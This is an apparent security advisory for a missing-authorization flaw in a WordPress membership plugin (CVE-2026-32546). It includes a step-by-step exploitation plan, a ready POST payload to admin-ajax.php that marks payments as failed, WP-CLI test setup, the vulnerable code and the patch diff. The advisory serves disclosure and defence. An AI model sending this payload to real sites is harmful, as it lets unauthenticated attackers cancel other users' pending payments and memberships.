Membership Plugin – Restrict Content <= 3.2.22 - Missing Authorization
Description
The Membership Plugin – Restrict Content plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.2.22. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.2.22What Changed in the Fix
Changes introduced in v3.2.23
Source Code
WordPress.org SVN# Research Plan: CVE-2026-32546 - Missing Authorization in Restrict Content ## 1. Vulnerability Summary The **Membership Plugin – Restrict Content** plugin (versions <= 3.2.22) contains a missing authorization vulnerability. Specifically, the AJAX action `rcp_stripe_handle_initial_payment_failure` …
Show full research plan
Research Plan: CVE-2026-32546 - Missing Authorization in Restrict Content
1. Vulnerability Summary
The Membership Plugin – Restrict Content plugin (versions <= 3.2.22) contains a missing authorization vulnerability. Specifically, the AJAX action rcp_stripe_handle_initial_payment_failure (registered for both authenticated and unauthenticated users) lacks a capability check and ownership verification. This allows an unauthenticated attacker to transition the status of any payment record to "failed" and potentially disable associated pending memberships by providing a valid payment_id.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Method: POST
- Action:
rcp_stripe_handle_initial_payment_failure(inferred fromcore/includes/gateways/stripe/js/register.js) - Parameters:
action:rcp_stripe_handle_initial_payment_failurepayment_id: The ID of the payment record to be marked as failed.message: A descriptive error message (e.g., "Payment failed").
- Authentication: Unauthenticated (
wp_ajax_nopriv_registration). - Preconditions: The Stripe gateway must be active, and at least one payment record (usually created during registration) must exist in the
wp_rcp_paymentsdatabase table.
3. Code Flow
- Client-Side Trigger: In
core/includes/gateways/stripe/js/register.js, the functionrcpStripeHandlePaymentFailure( payment_id, message )is defined. It sends an AJAX POST request toadmin-ajax.php. - Request Payload: The request includes
action,payment_id, andmessage. Notably, no nonce is included in thedataobject of the$.ajaxcall inregister.js:$.ajax( { type: 'post', dataType: 'json', url: rcp_script_options.ajaxurl, data: { action: 'rcp_stripe_handle_initial_payment_failure', payment_id: payment_id, message: message }, success: function ( response ) { } } ); - Server-Side Handler: The PHP handler for
rcp_stripe_handle_initial_payment_failure(likely located in a Stripe gateway class oradmin-ajax-actions.php) receives thepayment_id. - Processing (Vulnerable Sink): The handler retrieves the payment using the provided ID and updates its status to "failed" without verifying:
- If the current user has the authority to update payments.
- If the current session/user actually owns the specific
payment_id.
4. Nonce Acquisition Strategy
Analysis of the source code in core/includes/gateways/stripe/js/register.js reveals that the vulnerable AJAX action does not require a nonce.
- The
$.ajaxcall inrcpStripeHandlePaymentFailureomits any nonce parameter. - While
rcp_script_optionsis used for theajaxurl, there is no evidence in the registration scripts that a nonce is verified for this specific failure-handling action. - Therefore, the exploit can be performed without obtaining a nonce.
5. Exploitation Strategy
The goal is to mark a "pending" payment as "failed" as an unauthenticated user.
- Step 1: Identify Target: Determine a valid
payment_id. For testing purposes, we will create a membership payment and retrieve its ID via WP-CLI. - Step 2: Forge Request: Send a POST request to
admin-ajax.phpwith the vulnerable action. - Step 3: Verification: Use WP-CLI to confirm the status of the payment record has changed from
pendingtofailed.
Payload
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application-x-www-form-urlencoded
action=rcp_stripe_handle_initial_payment_failure&payment_id=[TARGET_ID]&message=Payment+timed+out
6. Test Data Setup
- Install and Activate: Ensure
restrict-content3.2.22 is active. - Create Membership Level:
wp rcp levels create --name="Gold" --duration=1 --duration_unit=months --price=10 - Create a Pending Payment:
Restrict Content Pro creates a payment record when a user attempts to register. We can simulate this by inserting a record into the custom table (usuallywp_rcp_payments).# Create a user to associate with the payment wp user create victim victim@example.com --role=subscriber --user_pass=password # Insert a pending payment manually to simulate an interrupted Stripe session # Note: Table names might vary; standard is wp_rcp_payments wp db query "INSERT INTO wp_rcp_payments (subscription, object_id, user_id, amount, status, date, gateway) VALUES ('Gold Membership', 1, $(wp user get victim --field=ID), '10.00', 'pending', NOW(), 'stripe');" - Capture ID:
TARGET_ID=$(wp db query "SELECT id FROM wp_rcp_payments ORDER BY id DESC LIMIT 1;" --silent --skip-column-names) echo "Created Payment ID: $TARGET_ID"
7. Expected Results
- The HTTP response from
admin-ajax.phpshould be a200 OKor a JSON success message (e.g.,{"success":true}). - The payment record in the database should be updated.
8. Verification Steps
After sending the POST request, verify the payment status using WP-CLI:
wp db query "SELECT status FROM wp_rcp_payments WHERE id = $TARGET_ID;" --skip-column-names
Success Condition: The query returns failed.
9. Alternative Approaches
If the rcp_stripe_handle_initial_payment_failure action is not present or patched:
- Dismiss Notices: Check the
rcp_dismissed_noncelocalized incore/includes/scripts.php. If the corresponding handler for notice dismissal lacks capability checks (even if it has a nonce), an attacker who can steal the nonce (exposed on the dashboard) can dismiss critical admin alerts. - Batch Processing: Investigate the
rcp_batch_noncehandlers. While typically admin-only, if the authorization check is missing, it could allow triggering of expensive background tasks.
However, the primary target remains the Stripe failure handler as it is explicitly intended for unauthenticated frontend use.
Summary
The Membership Plugin – Restrict Content plugin is vulnerable to unauthorized payment status modification via the rcp_stripe_handle_initial_payment_failure AJAX action. Unauthenticated attackers can mark any pending payment record as failed by providing its ID, leading to the cancellation of associated memberships and disruption of the payment process.
Vulnerable Code
// core/includes/gateways/stripe/functions.php:792 function rcp_stripe_handle_initial_payment_failure() { $payment_id = ! empty( $_POST['payment_id'] ) ? absint( $_POST['payment_id'] ) : 0; if ( empty( $payment_id ) ) { wp_send_json_error( __( 'Missing payment ID.', 'rcp' ) ); exit; } /** * @var RCP_Payments */ global $rcp_payments_db; $payment = $rcp_payments_db->get_payment( $payment_id ); if ( empty( $payment ) ) { wp_send_json_error( __( 'Invalid payment.', 'rcp' ) ); exit; } $gateway = new RCP_Payment_Gateway_Stripe(); // Set some of the expected properties. $gateway->payment = $payment; $gateway->user_id = $payment->user_id; $gateway->membership = rcp_get_membership( absint( $payment->membership_id ) ); $gateway->error_message = ! empty( $_POST['message'] ) ? sanitize_text_field( $_POST['message'] ) : __( 'Unknown error', 'rcp' ); do_action( 'rcp_registration_failed', $gateway ); /** * @var RCP_Membership_Gateway_Error */ $error = new RCP_Membership_Gateway_Error( 'stripe_error', $gateway->error_message ); do_action( 'rcp_stripe_signup_payment_failed', $error, $gateway ); wp_send_json_success(); exit; } --- // core/includes/gateways/stripe/js/register.js:18 function rcpStripeHandlePaymentFailure( payment_id, message ) { let $ = jQuery; $.ajax( { type: 'post', dataType: 'json', url: rcp_script_options.ajaxurl, data: { action: 'rcp_stripe_handle_initial_payment_failure', payment_id: payment_id, message: message }, success: function ( response ) { } } ); }
Security Fix
@@ -791,11 +791,16 @@ */ function rcp_stripe_handle_initial_payment_failure() { - $payment_id = ! empty( $_POST['payment_id'] ) ? absint( $_POST['payment_id'] ) : 0; + // Verify nonce for CSRF protection. + $nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : ''; + if ( empty( $nonce ) || ! wp_verify_nonce( $nonce, 'rcp_process_stripe_payment' ) ) { + wp_send_json_error( __( 'Security verification failed.', 'rcp' ) ); + } + + $payment_id = ! empty( $_POST['payment_id'] ) ? absint( wp_unslash( $_POST['payment_id'] ) ) : 0; if ( empty( $payment_id ) ) { wp_send_json_error( __( 'Missing payment ID.', 'rcp' ) ); - exit; } /** @@ -805,18 +810,48 @@ $payment = $rcp_payments_db->get_payment( $payment_id ); - if ( empty( $payment ) ) { + if ( empty( $payment ) || ! is_object( $payment ) ) { wp_send_json_error( __( 'Invalid payment.', 'rcp' ) ); - exit; } + // Security check: Verify user ownership of the payment. + $current_user_id = get_current_user_id(); + if ( empty( $current_user_id ) || absint( $payment->user_id ) !== $current_user_id ) { + wp_send_json_error( __( 'You do not have permission to perform this action.', 'rcp' ) ); + } + + // Only allow marking payments as failed if they are in pending status. + if ( 'pending' !== strtolower( $payment->status ) ) { + wp_send_json_error( __( 'This payment cannot be marked as failed.', 'rcp' ) ); + } + + // Verify the membership belongs to the current user. + if ( ! empty( $payment->membership_id ) ) { + $membership = rcp_get_membership( absint( $payment->membership_id ) ); + if ( empty( $membership ) || absint( $membership->get_customer()->get_user_id() ) !== $current_user_id ) { + wp_send_json_error( __( 'You do not have permission to perform this action.', 'rcp' ) ); + } + } + + /** + * Fires before processing a payment failure. + * + * Can be used to implement additional security checks like rate limiting. + * + * @since 3.5.55 + + * @param object $payment Payment object. + * @param int $user_id Current user ID. + */ + do_action( 'rcp_before_stripe_handle_payment_failure', $payment, $current_user_id ); + $gateway = new RCP_Payment_Gateway_Stripe(); // Set some of the expected properties. $gateway->payment = $payment; $gateway->user_id = $payment->user_id; $gateway->membership = rcp_get_membership( absint( $payment->membership_id ) ); - $gateway->error_message = ! empty( $_POST['message'] ) ? sanitize_text_field( $_POST['message'] ) : __( 'Unknown error', 'rcp' ); + $gateway->error_message = ! empty( $_POST['message'] ) ? sanitize_text_field( wp_unslash( $_POST['message'] ) ) : __( 'Unknown error', 'rcp' ); do_action( 'rcp_registration_failed', $gateway ); @@ -830,7 +865,6 @@ do_action( 'rcp_stripe_signup_payment_failed', $error, $gateway ); wp_send_json_success(); - exit; } @@ -22,7 +22,8 @@ data: { action: 'rcp_stripe_handle_initial_payment_failure', payment_id: payment_id, - message: message + message: message, + nonce: rcp_script_options.stripe_payment_nonce }, success: function ( response ) { } } );
Exploit Outline
To exploit this vulnerability, an attacker identifies a target payment ID in the WordPress database (e.g., a pending membership payment). The attacker then sends a POST request to the `/wp-admin/admin-ajax.php` endpoint with the `action` parameter set to `rcp_stripe_handle_initial_payment_failure`, the target `payment_id`, and a dummy `message`. Because the plugin fails to verify nonces or check if the current user owns the payment record, the server processes the request and updates the payment's status to 'failed', effectively disabling the associated membership. This action requires no authentication as the AJAX action is registered for unauthenticated users.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.